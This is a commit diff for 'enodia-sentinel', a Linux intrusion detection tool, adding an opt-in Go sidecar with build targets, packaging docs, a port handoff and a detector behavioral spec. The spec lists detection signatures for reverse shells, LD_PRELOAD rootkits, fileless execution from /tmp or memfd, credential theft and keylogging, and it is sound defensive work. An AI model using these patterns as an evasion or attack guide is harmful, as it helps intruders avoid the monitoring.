feat(go): advance validation sidecar toward production
This commit is contained in:
parent
6a06eba255
commit
f85c2e831a
92 changed files with 8881 additions and 91 deletions
52
Makefile
52
Makefile
|
|
@ -6,8 +6,10 @@ CONFDIR := /etc
|
|||
LOGDIR := /var/log/enodia-sentinel
|
||||
DOCDIR := $(PREFIX)/share/doc/enodia-sentinel
|
||||
TMPFILESDIR := /etc/tmpfiles.d
|
||||
GO_AGENT_BIN := $(CURDIR)/build/enodia-sentinel-go
|
||||
GO_CACHE ?= /tmp/enodia-go-cache
|
||||
|
||||
.PHONY: install uninstall enable disable status logs check baseline drill test test-go parity-go release-artifacts clean
|
||||
.PHONY: install install-go uninstall uninstall-go enable enable-go disable disable-go status status-go logs logs-go check baseline drill test build-go generate-go test-go parity-go check-go-service release-artifacts clean
|
||||
|
||||
# Installs the stdlib-only Python package as a plain directory + launcher
|
||||
# wrapper (no pip, no virtualenv, no site-packages). Zero runtime deps.
|
||||
|
|
@ -43,6 +45,21 @@ install:
|
|||
install -dm750 $(DESTDIR)$(LOGDIR)
|
||||
@echo "Installed. Run 'sudo make enable' to start the service."
|
||||
|
||||
# Build and install the Go migration agent as an opt-in validation sidecar.
|
||||
# It deliberately has a distinct binary, unit, and state directory; this target
|
||||
# never replaces or enables the production Python service.
|
||||
install-go: build-go
|
||||
install -Dm755 $(GO_AGENT_BIN) $(DESTDIR)$(BINDIR)/enodia-sentinel-go
|
||||
install -Dm644 systemd/enodia-sentinel-go-sidecar.service $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel-go-sidecar.service
|
||||
@if [ ! -e "$(DESTDIR)$(CONFDIR)/enodia-sentinel.toml" ]; then \
|
||||
install -Dm644 config/enodia-sentinel.toml $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml; \
|
||||
echo "Installed default config at $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml"; \
|
||||
else \
|
||||
echo "Existing config preserved at $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml"; \
|
||||
fi
|
||||
install -Dm644 go-agent/README.md $(DESTDIR)$(DOCDIR)/GO_AGENT.md
|
||||
@echo "Go sidecar installed but not enabled. Run 'sudo make enable-go' to start it."
|
||||
|
||||
uninstall:
|
||||
rm -rf $(DESTDIR)$(LIBDIR)
|
||||
rm -f $(DESTDIR)$(BINDIR)/enodia-sentinel
|
||||
|
|
@ -55,29 +72,59 @@ uninstall:
|
|||
rm -rf $(DESTDIR)$(DOCDIR)
|
||||
@echo "Uninstalled. Config and logs preserved."
|
||||
|
||||
uninstall-go:
|
||||
rm -f $(DESTDIR)$(BINDIR)/enodia-sentinel-go
|
||||
rm -f $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel-go-sidecar.service
|
||||
rm -f $(DESTDIR)$(DOCDIR)/GO_AGENT.md
|
||||
@echo "Go sidecar uninstalled. Shared config and sidecar state preserved."
|
||||
|
||||
enable:
|
||||
systemctl daemon-reload
|
||||
systemctl enable --now enodia-sentinel.service
|
||||
|
||||
enable-go:
|
||||
systemctl daemon-reload
|
||||
systemctl enable --now enodia-sentinel-go-sidecar.service
|
||||
|
||||
disable:
|
||||
systemctl disable --now enodia-sentinel.service
|
||||
|
||||
disable-go:
|
||||
systemctl disable --now enodia-sentinel-go-sidecar.service
|
||||
|
||||
status:
|
||||
systemctl status enodia-sentinel.service --no-pager
|
||||
|
||||
status-go:
|
||||
systemctl status enodia-sentinel-go-sidecar.service --no-pager
|
||||
|
||||
logs:
|
||||
journalctl -u enodia-sentinel.service -f
|
||||
|
||||
logs-go:
|
||||
journalctl -u enodia-sentinel-go-sidecar.service -f
|
||||
|
||||
# Dev targets — run from the repo without installing.
|
||||
test:
|
||||
python3 -m unittest discover -s tests -v
|
||||
|
||||
test-go:
|
||||
cd go-agent && GOCACHE=/tmp/enodia-go-cache go test ./...
|
||||
cd go-agent && GOCACHE=$(GO_CACHE) go test ./...
|
||||
|
||||
build-go:
|
||||
install -d $(dir $(GO_AGENT_BIN))
|
||||
cd go-agent && CGO_ENABLED=0 GOCACHE=$(GO_CACHE) go build -buildvcs=false -trimpath -ldflags='-s -w' -o $(GO_AGENT_BIN) ./cmd/enodia-sentinel-go
|
||||
|
||||
generate-go:
|
||||
cd go-agent && go generate ./internal/ebpfsource
|
||||
|
||||
parity-go:
|
||||
python3 scripts/check-go-parity.py
|
||||
|
||||
check-go-service:
|
||||
systemd-analyze verify systemd/enodia-sentinel-go-sidecar.service
|
||||
python3 -m unittest tests.test_go_sidecar_packaging -v
|
||||
|
||||
check:
|
||||
python3 -m enodia_sentinel.cli check
|
||||
|
||||
|
|
@ -95,3 +142,4 @@ release-artifacts:
|
|||
|
||||
clean:
|
||||
find . -type d -name __pycache__ -prune -exec rm -rf {} +
|
||||
rm -f $(GO_AGENT_BIN)
|
||||
|
|
|
|||
38
README.md
38
README.md
|
|
@ -64,14 +64,17 @@ Project docs:
|
|||
> detectors, and JSON output. The bash version and the Python version share one
|
||||
> red-team harness, so every signature is exercised against both.
|
||||
|
||||
Phase 1 now also has an **experimental Go sidecar** under `go-agent/`. It emits
|
||||
the same `enodia.event.v1` envelope and captures an injectable `/proc` process
|
||||
and memory-map view plus `ss` sockets. The parity-checked cohort is `reverse_shell`,
|
||||
`ld_preload`, `deleted_exe`, `input_snooper`, `credential_access`,
|
||||
`stealth_network`, `memory_obfuscation` (including mapped hide/injection
|
||||
libraries), and `egress`. It is stdout-only and does not replace,
|
||||
install over, or write state for the Python daemon; Python remains authoritative
|
||||
until subsystem parity is complete.
|
||||
The migration also has an **opt-in Go validation sidecar** under `go-agent/`.
|
||||
It emits the same `enodia.event.v1` envelope, has fixture parity for all current
|
||||
poll detectors plus exec/syscall/typed-host rules and correlation, and uses
|
||||
embedded `cilium/ebpf` CO-RE probes for the live event paths. A separate
|
||||
hardened systemd unit writes JSONL to journald, retains a bounded copy of the
|
||||
event stream plus baseline state and an atomic heartbeat under
|
||||
`/var/lib/enodia-sentinel-go`, and fails open to polling if a probe cannot load.
|
||||
It also writes bounded `enodia.alert.snapshot.v1` JSON/text pairs with truthful
|
||||
status counts. It does not replace, install over, or write state for the Python
|
||||
daemon; Python remains authoritative for richer forensic enrichment, incidents,
|
||||
assurance, notifications, and the remaining subsystem parity.
|
||||
|
||||
## Why these detectors
|
||||
|
||||
|
|
@ -171,14 +174,26 @@ enodia_sentinel/
|
|||
└── monitor.py runs the probe on a thread, routes events → rules
|
||||
```
|
||||
|
||||
The parallel Phase 1 tree is intentionally isolated:
|
||||
The parallel migration tree is intentionally isolated:
|
||||
|
||||
```text
|
||||
go-agent/
|
||||
├── cmd/enodia-sentinel-go/ experimental JSONL sidecar
|
||||
└── internal/ config · model · system · detectors · schema · loop
|
||||
├── cmd/enodia-sentinel-go/ static JSONL validation agent
|
||||
└── internal/ config · capture · baselines · rules · eBPF · health
|
||||
```
|
||||
|
||||
Build or install the opt-in sidecar without changing the default service:
|
||||
|
||||
```bash
|
||||
make build-go
|
||||
sudo make install-go
|
||||
sudo make enable-go
|
||||
enodia-sentinel-go --health
|
||||
```
|
||||
|
||||
See [Go agent details](go-agent/README.md) and the
|
||||
[packaging guide](docs/PACKAGING.md) for its isolation and privilege contract.
|
||||
|
||||
Three complementary detection paths feed one Alert → snapshot pipeline:
|
||||
|
||||
- **Poll** — every few seconds, sweep `/proc`/`ss` (catches anything lingering).
|
||||
|
|
@ -309,6 +324,7 @@ drill only sets the env var on a throwaway process.
|
|||
make test # stdlib unittest suite, no runtime deps
|
||||
make test-go # stdlib-only Go sidecar unit tests
|
||||
make parity-go # shared fixture: Go output vs Python oracle
|
||||
make check-go-service # systemd validation + packaging isolation tests
|
||||
```
|
||||
|
||||
Detectors are pure functions over an injectable `SystemState`, so tests build
|
||||
|
|
|
|||
|
|
@ -15,7 +15,7 @@ suid_scan_interval = 60 # seconds between (backgrounded) SUID filesystem sca
|
|||
detectors = [
|
||||
"reverse_shell", "ld_preload", "deleted_exe",
|
||||
"input_snooper", "credential_access", "stealth_network",
|
||||
"memory_obfuscation",
|
||||
"memory_obfuscation", "first_seen",
|
||||
"new_listener", "new_suid", "persistence", "egress",
|
||||
]
|
||||
|
||||
|
|
|
|||
145
docs/GO_PORT_HANDOFF.md
Normal file
145
docs/GO_PORT_HANDOFF.md
Normal file
|
|
@ -0,0 +1,145 @@
|
|||
# Go Port Handoff
|
||||
|
||||
Saved: 2026-07-22T01:40:52-07:00
|
||||
Branch: `main`
|
||||
Base commit: `6a06eba` (`docs(behavior): add behavioral spec for sweep + baseline lifecycle`)
|
||||
Status: implemented and green, but uncommitted
|
||||
|
||||
## Worktree warning
|
||||
|
||||
The checkout is intentionally dirty and contains work from multiple related
|
||||
continuations. Do not reset, clean, or broadly restage it.
|
||||
|
||||
- At this checkpoint, `git status --short` has 62 entries (105 when every
|
||||
untracked file is expanded instead of collapsing directories).
|
||||
- This handoff is itself currently untracked and should be included when the
|
||||
Go migration tranche is eventually committed.
|
||||
- `docs/behavior/02-poll-detectors.md` and `docs/behavior/index.md` already had
|
||||
staged content plus later unstaged edits (`AM` / `MM`). This save did not
|
||||
change the index.
|
||||
- The Python GUI files and tests are separate pre-existing work. Preserve them
|
||||
while continuing the Go port.
|
||||
- `build/` is ignored and contains only local build output.
|
||||
|
||||
## Implemented Go surface
|
||||
|
||||
The Go module requires Go 1.25 or newer and is currently verified with
|
||||
`go1.26.5-X:nodwarf5`. It uses `github.com/cilium/ebpf` v0.22.0 and builds as a
|
||||
static binary.
|
||||
|
||||
### Polling and lifecycle
|
||||
|
||||
- All current Python poll detectors have Go parity: `reverse_shell`,
|
||||
`ld_preload`, `deleted_exe`, `input_snooper`, `credential_access`,
|
||||
`stealth_network`, `memory_obfuscation`, `egress`, `first_seen`,
|
||||
`new_listener`, `persistence`, and `new_suid`.
|
||||
- `--state-dir` enables isolated listener/SUID baselines, startup grace,
|
||||
persistence scans, and atomic first-seen retention.
|
||||
- The Go state directory must never be the Python daemon's
|
||||
`/var/log/enodia-sentinel` directory.
|
||||
|
||||
### Event rules and native sources
|
||||
|
||||
- Exec rules: built-in SIDs `100001`-`100004` plus configured rules.
|
||||
- Syscall rules: SIDs `100060`-`100066`.
|
||||
- Typed host rules: SIDs `100067`-`100073` and `100076`-`100078`.
|
||||
- Mixed JSONL routing, rule catalog operations, correlation SID `100080`, and
|
||||
one shared cooldown gate are implemented.
|
||||
- Embedded CO-RE exec and filtered raw-syscall probes use `cilium/ebpf` and
|
||||
fail open to polling on load/attach/read failures.
|
||||
- Native typed transports include UID/GID changes, chmod/chown variants,
|
||||
`capset`, `finit_module`, confirmed interpreter `write`/`writev`/`pwrite64`/
|
||||
`pwritev`/`pwritev2`, and successful TCP connect/bind/listen/accept calls
|
||||
with `/proc` endpoint resolution.
|
||||
- Generated little- and big-endian BPF objects live under
|
||||
`go-agent/internal/ebpfsource/`. Run `make generate-go` only after changing
|
||||
`go-agent/internal/ebpfsource/bpf/*.bpf.c`.
|
||||
|
||||
### Production validation path
|
||||
|
||||
- `make build-go` creates a stripped, static, VCS-independent binary.
|
||||
- `make install-go` installs the separate binary and
|
||||
`enodia-sentinel-go-sidecar.service` without replacing or enabling the
|
||||
Python service.
|
||||
- The hardened systemd unit has a current `systemd-analyze security` exposure
|
||||
score of 4.3 (`OK`). It preserves the host `/proc`, `/tmp`, and network view
|
||||
because detectors require them, while hiding the Python state tree.
|
||||
- The unit uses `Type=notify`; READY is sent only after baseline setup, event
|
||||
log preflight, and both requested probe-load attempts.
|
||||
- JSONL remains visible in journald and is also retained as private bounded
|
||||
`/var/lib/enodia-sentinel-go/events.jsonl` plus `events.jsonl.1` (64 MiB per
|
||||
active segment boundary). Non-status events are synchronized to disk.
|
||||
- `/var/lib/enodia-sentinel-go/heartbeat` is atomically refreshed after each
|
||||
successful status emission.
|
||||
- `enodia-sentinel-go --health` returns `enodia.go.health.v1` JSON and a
|
||||
watchdog-friendly exit status.
|
||||
- `enodia-sentinel-go --events-tail N` reads active and rotated retained events
|
||||
chronologically, validates JSON, fails closed on corruption, and deliberately
|
||||
works without loading the agent configuration.
|
||||
- The unit now retains private `alert-YYYYMMDD-HHMMSS.{json,log}` pairs using
|
||||
the required `enodia.alert.snapshot.v1` fields. Same-second alerts merge into
|
||||
one pair, process context is collected best-effort from `/proc`, and shared
|
||||
`max_snapshots` / `max_snapshot_age_days` limits are applied at startup,
|
||||
capture, and status time.
|
||||
- `enodia.status.v1` totals, severity counts, and last-alert time are populated
|
||||
only from parseable retained Go snapshots. Python's unchanged `list_alerts`
|
||||
and `get_alert` data layer successfully consumed a Go-produced pair.
|
||||
- Snapshot incident IDs remain null and enrichment currently contains only a
|
||||
Go-source marker plus process detail; incident indexing, rich enrichment,
|
||||
assurance chaining, and notification fan-out are not yet ported.
|
||||
- No live system service was installed or enabled during development.
|
||||
|
||||
## Last green verification
|
||||
|
||||
Run from the repository root:
|
||||
|
||||
```bash
|
||||
python3 -m unittest discover -s tests -q
|
||||
cd go-agent
|
||||
GOCACHE=/tmp/enodia-go-cache go test ./...
|
||||
GOCACHE=/tmp/enodia-go-cache go test -race ./...
|
||||
GOCACHE=/tmp/enodia-go-cache go vet ./...
|
||||
go mod verify
|
||||
cd ..
|
||||
make parity-go
|
||||
make check-go-service
|
||||
git diff --check
|
||||
```
|
||||
|
||||
Results at save time:
|
||||
|
||||
- Python: 377 tests passed.
|
||||
- Go unit and race suites: all packages passed.
|
||||
- `go vet` and `go mod verify`: passed.
|
||||
- Parity: 22 poll alerts, 5 exec alerts, 7 syscall alerts, 10 typed-host
|
||||
alerts, 22 catalog records, 3 mixed-stream alerts, and 2 correlations.
|
||||
- `systemd-analyze verify` and the three Go sidecar packaging/isolation tests:
|
||||
passed.
|
||||
- Static builds: `linux/amd64`, `linux/arm64`, `linux/riscv64`, and
|
||||
`linux/s390x` passed.
|
||||
- Integration smoke tests passed for static binary identity, JSON emission,
|
||||
READY/STOPPING notification, heartbeat freshness/staleness, retained event
|
||||
equivalence, tail selection, corruption rejection, and evidence reading with
|
||||
malformed TOML. Snapshot smoke tests also passed for same-second batching,
|
||||
severity aggregation, private JSON/text pairs, truthful status counts,
|
||||
startup/quiet-period retention, process context, and Python dashboard-reader
|
||||
compatibility.
|
||||
|
||||
The Python suite prints three expected CLI error lines from negative tests and
|
||||
one existing `ResourceWarning` for an implicitly cleaned-up HTTP 401 object;
|
||||
the suite still exits successfully.
|
||||
|
||||
## Resume here
|
||||
|
||||
1. Add Python-compatible incident grouping/index persistence so retained Go
|
||||
snapshots can carry real `incident_id` values and correlation timelines.
|
||||
2. Port bounded post-alert enrichment and local assurance chaining without
|
||||
adding destructive response behavior or blocking the event loop on slow
|
||||
collectors.
|
||||
3. Connect the isolated Go snapshot/event state to explicit read-only
|
||||
management consumers while keeping Python authoritative.
|
||||
4. Continue broader Phase 3 rule metadata/state parity before considering any
|
||||
default-service or package cutover.
|
||||
|
||||
Keep the validation sidecar opt-in, preserve its separate state tree, and keep
|
||||
new attack/event primitives disconnected from destructive response paths.
|
||||
|
|
@ -62,6 +62,65 @@ sudo systemctl daemon-reload
|
|||
sudo systemctl restart enodia-sentinel.service
|
||||
```
|
||||
|
||||
## Go Migration Sidecar (opt-in)
|
||||
|
||||
The Go agent has a separate validation service and is never installed by the
|
||||
default `make install` target or the Arch package. Build and install it
|
||||
explicitly from a checkout with Go 1.25 or newer:
|
||||
|
||||
```bash
|
||||
make build-go
|
||||
sudo make install-go PREFIX=/usr/local
|
||||
sudo make enable-go
|
||||
```
|
||||
|
||||
The static `enodia-sentinel-go` binary emits `enodia.event.v1` JSONL to the
|
||||
system journal. Its service owns `/var/lib/enodia-sentinel-go` for baseline
|
||||
state and a bounded retained event stream. `events.jsonl` rotates to one
|
||||
`events.jsonl.1` segment before crossing 64 MiB; both are private to root, and
|
||||
non-status records are synchronized before emission succeeds. The service
|
||||
requests the embedded native exec and syscall probes and fails open to polling
|
||||
when the kernel refuses a probe. It does not write the production Python
|
||||
daemon's `/var/log/enodia-sentinel` state or replace
|
||||
`enodia-sentinel.service`. Systemd readiness is emitted only after baseline
|
||||
initialization, event-log and snapshot-store preflight, and both requested probe
|
||||
load attempts complete.
|
||||
|
||||
Alert events are additionally retained as private
|
||||
`alert-YYYYMMDD-HHMMSS.{json,log}` pairs in `/var/lib/enodia-sentinel-go`.
|
||||
Same-second events are merged into one snapshot, required
|
||||
`enodia.alert.snapshot.v1` fields are preserved, and the shared
|
||||
`max_snapshots` / `max_snapshot_age_days` settings bound retention. The current
|
||||
Go enrichment block is intentionally minimal; Python remains authoritative for
|
||||
incident grouping, rich enrichment, assurance chaining, and notifications.
|
||||
|
||||
Each successful sweep atomically refreshes
|
||||
`/var/lib/enodia-sentinel-go/heartbeat` as a Unix timestamp with mode `0600`;
|
||||
the retained value becomes stale when the sidecar stops or wedges.
|
||||
`enodia-sentinel-go --health` reports that state as JSON and exits nonzero when
|
||||
it is unavailable or older than the configured `heartbeat_max_age`.
|
||||
|
||||
Inspect the retained event stream without depending on journald:
|
||||
|
||||
```bash
|
||||
sudo tail -n 50 /var/lib/enodia-sentinel-go/events.jsonl
|
||||
sudo enodia-sentinel-go --events-tail 50
|
||||
```
|
||||
|
||||
The native reader includes `events.jsonl.1`, preserves chronological order, and
|
||||
fails nonzero if either retained segment contains malformed JSON.
|
||||
|
||||
Inspect or remove the validation service with:
|
||||
|
||||
```bash
|
||||
sudo make status-go
|
||||
sudo make disable-go
|
||||
sudo make uninstall-go
|
||||
```
|
||||
|
||||
Uninstalling preserves the shared configuration and sidecar state for forensic
|
||||
review or a later reinstall.
|
||||
|
||||
## Debian and Ubuntu
|
||||
|
||||
There is no native `.deb` package yet. Use the source install path:
|
||||
|
|
|
|||
|
|
@ -259,12 +259,39 @@ Exit criteria:
|
|||
|
||||
- Suricata model assimilation design is complete, and Phase 0's additive
|
||||
`enodia.event.v1` Python reference contract is implemented.
|
||||
- Phase 1 is in progress under `go-agent/`: a stdlib-only parallel sweep loop,
|
||||
injectable process/file-descriptor/socket state, and seven poll detectors
|
||||
(`reverse_shell`, `ld_preload`, `deleted_exe`, `input_snooper`,
|
||||
`credential_access`, `stealth_network`, `egress`) are checked against the
|
||||
Python oracle with a shared fixture. The Go sidecar remains stdout-only and
|
||||
non-production until broader parity lands.
|
||||
- Phase 1 under `go-agent/` now has a stdlib-only parallel sweep loop,
|
||||
injectable process/file-descriptor/socket state, and all current Python poll
|
||||
detectors ported: `reverse_shell`, `ld_preload`, `deleted_exe`,
|
||||
`input_snooper`, `credential_access`, `stealth_network`, `egress`,
|
||||
`memory_obfuscation`, `first_seen`, `new_listener`, `persistence`, and
|
||||
`new_suid`. The shared fixture and `scripts/check-go-parity.py` check Go
|
||||
output against the Python oracle. A new `provenance` package provides
|
||||
pacman/dpkg/rpm ownership queries so the Go `new_listener` detector can
|
||||
mirror Python's package-owned-listener suppression. Opt-in `--state-dir`
|
||||
mode now builds listener/SUID baselines, applies the shared startup grace
|
||||
gate, scans persistence paths, and retains first-seen network state. The Go
|
||||
sidecar also has offline-replay parity for the exec rule family (built-ins
|
||||
`100001`–`100004` plus configured `[[exec_rules]]`) and syscall rules
|
||||
`100060`–`100066`, plus all typed host rules, the active rule catalog,
|
||||
mixed-event JSONL routing, correlation SID `100080`, and sweep cooldown. The
|
||||
first Phase 2 transports have landed as an opt-in `cilium/ebpf` execve
|
||||
tracepoint source plus a filtered raw-syscall source for SIDs `100060`–
|
||||
`100066`, both with CO-RE parent lookup, shared cooldown/emission, and
|
||||
fail-open probe status. The syscall source also routes `setuid`/`setgid` into
|
||||
typed-host SIDs `100071`/`100072` and permission/ownership changes into SID
|
||||
`100070`, including relative-path resolution. Confirmed interpreter
|
||||
`write`/`writev`/`pwrite` variants,
|
||||
successful TCP connect/bind/listen/accept calls, `capset`, and `finit_module`
|
||||
now feed typed-host SIDs `100069`, `100067`/`100073`/`100068`/`100076`,
|
||||
`100077`, and `100078`. Phase 2 now also includes an opt-in hardened systemd
|
||||
validation unit, static build/install path, isolated baseline state, and
|
||||
journal JSONL. A bounded rotating JSONL copy provides isolated retained event
|
||||
history, and an atomic heartbeat gives external watchdogs a non-journal
|
||||
liveness signal. Bounded Python-schema-compatible JSON/text alert snapshots
|
||||
now provide truthful retained counts and basic process context. The Python
|
||||
service remains the production default until incident grouping, rich
|
||||
enrichment/assurance, management-console consumers, and broader subsystem
|
||||
parity land.
|
||||
|
||||
## Backlog
|
||||
|
||||
|
|
|
|||
|
|
@ -233,8 +233,26 @@ signature keeps `sid` / `signature` / `classtype` / tests / docs.
|
|||
`input_snooper`, `credential_access`, `stealth_network`, the
|
||||
`memory_obfuscation` cohort, and `egress`;
|
||||
Python remains the production agent.
|
||||
- **Phase 2 — eBPF via `cilium/ebpf`.** Port exec/syscall rules; drop the
|
||||
bcc/Python runtime dependency; single static binary.
|
||||
- **Phase 2 — eBPF via `cilium/ebpf`.** The transport-independent exec/syscall
|
||||
event models and rule engines have offline Python-envelope parity in Go. An
|
||||
opt-in native execve and filtered raw-syscall tracepoints now feed both rule
|
||||
engines through `cilium/ebpf` with CO-RE parent lookup and fail-open polling
|
||||
fallback; root UID/GID transitions and persistence-path permission changes
|
||||
plus capability-set and file-backed module-load requests also feed the
|
||||
typed-host engine. Interpreter `write`/`writev`/`pwrite` variants are
|
||||
enter/exit-correlated and filtered in-kernel before their FD paths are
|
||||
resolved in userspace. Successful
|
||||
connect/bind calls are likewise correlated, with TCP inode verification for
|
||||
connect events; listen/accept calls resolve both endpoints from the successful
|
||||
socket FD.
|
||||
An opt-in hardened systemd validation unit now runs the static Go binary with
|
||||
isolated baseline state, journal JSONL, a bounded retained JSONL stream, and
|
||||
an atomic health marker. All current typed-host families now have native
|
||||
transports. Bounded `enodia.alert.snapshot.v1` JSON/text pairs now retain
|
||||
alerts with basic process context and feed truthful status counts. Incident
|
||||
grouping, rich enrichment/assurance, management-consumer integration, and
|
||||
broader parity must land before the bcc/Python runtime dependency can be
|
||||
dropped.
|
||||
- **Phase 3 — Rule-engine parity + assimilation.** `rev`/`reference`/`metadata`,
|
||||
statebits (flowbits), thresholding, suppression, and — if rule count warrants
|
||||
— the MPM prefilter. `rules list/show/test/docs` parity.
|
||||
|
|
|
|||
|
|
@ -331,7 +331,7 @@ Store paths derive from `log_dir`: `listener-baseline.json`,
|
|||
|
||||
---
|
||||
|
||||
## 1.8 Port parity notes (Go 2.0)
|
||||
## 1.8 Port parity notes (Go port)
|
||||
|
||||
What the Go agent must reproduce to be behavior-equivalent for this subsystem:
|
||||
|
||||
|
|
@ -349,7 +349,8 @@ What the Go agent must reproduce to be behavior-equivalent for this subsystem:
|
|||
the other wrote.
|
||||
- **Reconcile-before-cooldown** ordering and 60s per-key cooldown (§1.6).
|
||||
|
||||
Current Go status (as of this writing): poll detectors are ported and pass the
|
||||
parity fixture, but baselines are still **injected from fixtures** — the store
|
||||
package, live SUID walk, and the daemon-equivalent lifecycle above are the
|
||||
work this document specifies.
|
||||
Current Go status: poll detectors pass the parity fixture. The baseline store,
|
||||
live SUID walk, startup grace, persistence scan, and first-seen retention are
|
||||
implemented behind the sidecar's explicit `--state-dir` lifecycle. Fixture mode
|
||||
continues to inject state and never touches a live store. Production service
|
||||
cutover remains outside this acceptance slice.
|
||||
|
|
|
|||
276
docs/behavior/02-poll-detectors.md
Normal file
276
docs/behavior/02-poll-detectors.md
Normal file
|
|
@ -0,0 +1,276 @@
|
|||
<!-- SPDX-License-Identifier: GPL-3.0-or-later -->
|
||||
# 2. Poll Detectors
|
||||
|
||||
Scope: the per-detector behavioral contract for the twelve pure detectors in
|
||||
`detectors/`. Each is a `detect(state, cfg) -> Iterable[Alert]` over the
|
||||
`SystemState` built in §1. This section documents, per detector, the inputs it
|
||||
reads, the match algorithm, the exact alert it emits, and its allow-list /
|
||||
fail-open rules. The registry order and the baseline-arming gate are in §1.3 /
|
||||
§1.5; the alert fields and dedup keying are in §1.1.
|
||||
|
||||
Every detector is fail-open by inheritance: it reads already-captured
|
||||
`SystemState` fields, and missing `/proc`/`ss` data is an empty value, never an
|
||||
exception.
|
||||
|
||||
## 2.0 Signature summary
|
||||
|
||||
The stable contract. A port emitting a different SID, severity, classtype, or
|
||||
key for the same condition is a parity break.
|
||||
|
||||
| SID | signature | severity | classtype | key |
|
||||
|-----|-----------|----------|-----------|-----|
|
||||
| 100010 | `reverse_shell` | CRITICAL | `c2-reverse-shell` | `rsh:<pid>` |
|
||||
| 100011 | `ld_preload` | CRITICAL | `rootkit-preload` | `ldp:global`, `ldp:<pid>` |
|
||||
| 100012 | `deleted_exe` | CRITICAL | `fileless-execution` | `del:<pid>` |
|
||||
| 100013 | `new_listener` | HIGH | `backdoor-listener` | `lis:<port>/<comm>` |
|
||||
| 100014 | `new_suid` | CRITICAL / HIGH | `privilege-escalation` | `suid:<path>` |
|
||||
| 100015 | `persistence` | HIGH | `persistence` | `persist:<path>` |
|
||||
| 100016 | `egress` | HIGH | `c2-exfil` | `egr:<pid>:<host>` |
|
||||
| 100032 | `input_snooper` | HIGH | `credential-keylogging` | `input:<pid>:<target>` |
|
||||
| 100033 | `credential_access` | CRITICAL | `credential-theft` | `cred:<pid>:<target>` |
|
||||
| 100036 | `stealth_network` | MEDIUM / HIGH | `covert-channel` | `stealthnet:<kind>:<pid>:<local>:<peer>` |
|
||||
| 100039 | `memory_obfuscation` | HIGH / CRITICAL | `memory-obfuscation` | `mem:memory_obfuscation:<pid>:<lo>-<hi>` |
|
||||
| 100048 | `process_hiding_library` | CRITICAL | `process-hiding` | `mem:process_hiding_library:<pid>:<lo>-<hi>` |
|
||||
| 100049 | `process_injection_library` | HIGH | `process-injection` | `mem:process_injection_library:<pid>:<lo>-<hi>` |
|
||||
| 100074 | `first_public_destination` | MEDIUM | `network-rarity` | `firstdest:<comm>:<ip:port>` |
|
||||
| 100075 | `first_listener_port` | MEDIUM | `network-rarity` | `firstlisten:<comm>:<port>` |
|
||||
|
||||
`<lo>-<hi>` are the map bounds formatted as lowercase hex (`{start:x}-{end:x}`).
|
||||
|
||||
Allow-list config keys and their defaults live in `config.py`; this section
|
||||
names each key where used. The Go port mirrors the same defaults (see
|
||||
`go-agent/internal/config`), so the values are asserted by config tests, not
|
||||
repeated here.
|
||||
|
||||
---
|
||||
|
||||
## 2.1 Shared address helpers (`netutil.py`)
|
||||
|
||||
Used by `egress`, `stealth_network`, and `first_seen`.
|
||||
|
||||
- `split_host_port(endpoint)` — splits an `ss` endpoint. If it starts with `[`,
|
||||
partition on `]` (IPv6, e.g. `[::1]:22` → `::1`, `22`); else `rpartition(":")`
|
||||
(e.g. `10.0.0.2%eth0:443` → `10.0.0.2%eth0`, `443`). Returns `(host, port)`
|
||||
strings.
|
||||
- `parse_addr(addr)` — strips `[]`, drops an IPv6 `%zone`, returns an
|
||||
`ipaddress` object or `None`.
|
||||
- `is_public_ip(addr)` — `True` only if `parse_addr(...).is_global`: excludes
|
||||
loopback, RFC1918, link-local, CGNAT (100.64/10), and other non-global
|
||||
ranges. Unparseable → `False`.
|
||||
- `ip_in_cidrs(addr, cidrs)` — `True` if `addr` is inside any CIDR (the operator
|
||||
trust list); version-matched; bad CIDRs skipped.
|
||||
|
||||
## 2.2 Package provenance (`provenance.py`)
|
||||
|
||||
Used by `new_listener` (§2.11) as an optional suppressor.
|
||||
|
||||
`package_owner(path)` returns the owning package string or `None`, using the
|
||||
first available of `pacman -Qo` / `dpkg -S` / `rpm -qf` (5s timeout each, cached
|
||||
via `lru_cache`; `(deleted)` suffix stripped first). `is_package_owned(path) =
|
||||
package_owner(path) is not None`. **Contract:** ownership *ranks/explains*, it
|
||||
never proves safety — it may suppress a `new_listener` alert but is never used
|
||||
to silently drop anything else.
|
||||
|
||||
---
|
||||
|
||||
## 2.3 `reverse_shell` — SID 100010, CRITICAL
|
||||
|
||||
Interpreter process with a **network** socket on its stdio.
|
||||
|
||||
- Input: `state.processes`, `state.net_peer_by_inode`.
|
||||
- Match, per process: `proc.comm in cfg.interpreters`; `proc.stdio_socket_inode()`
|
||||
is not `None` (fd 0/1/2 links to `socket:[…]`); and that inode appears in the
|
||||
network socket table (`net_peer_by_inode`). The last condition is what
|
||||
excludes benign unix sockets / pipes and keeps false positives near zero.
|
||||
- Emit: key `rsh:<pid>`, `pids=(pid,)`, detail
|
||||
`pid=… comm=… stdio=net-socket peer=[local -> peer] cmd=[<cmdline first 90>]`.
|
||||
- Config: `interpreters` allow-*set of shell/scripting comms* (membership means
|
||||
"watch", not "trust").
|
||||
|
||||
## 2.4 `ld_preload` — SID 100011, CRITICAL
|
||||
|
||||
Two independent signatures, same SID:
|
||||
|
||||
1. **Global** — `/etc/ld.so.preload` exists and is non-empty (fail-open read).
|
||||
Key `ldp:global`, no pids, detail includes the file contents (newlines →
|
||||
spaces).
|
||||
2. **Per-process** — a process whose `environ["LD_PRELOAD"]` starts with a
|
||||
suspicious prefix: `("/tmp/", "/dev/shm/", "/var/tmp/", "/run/user/", "./")`.
|
||||
Key `ldp:<pid>`, `pids=(pid,)`.
|
||||
|
||||
Note the global check reads `/etc/ld.so.preload` directly (not the injected
|
||||
`state`), so a port must read it live inside the detector or supply it on state.
|
||||
|
||||
## 2.5 `deleted_exe` — SID 100012, CRITICAL
|
||||
|
||||
Process running from a deleted or memfd-backed binary in an attacker-controlled
|
||||
location.
|
||||
|
||||
- Match: `proc.exe` is fileless — `"memfd:" in exe`, **or** `"(deleted)" in exe`
|
||||
**and** `exe` starts with `("/tmp/", "/dev/shm/", "/var/tmp/", "/run/")`.
|
||||
Normal-path deleted exes (a daemon still running after a package upgrade) are
|
||||
ignored on purpose.
|
||||
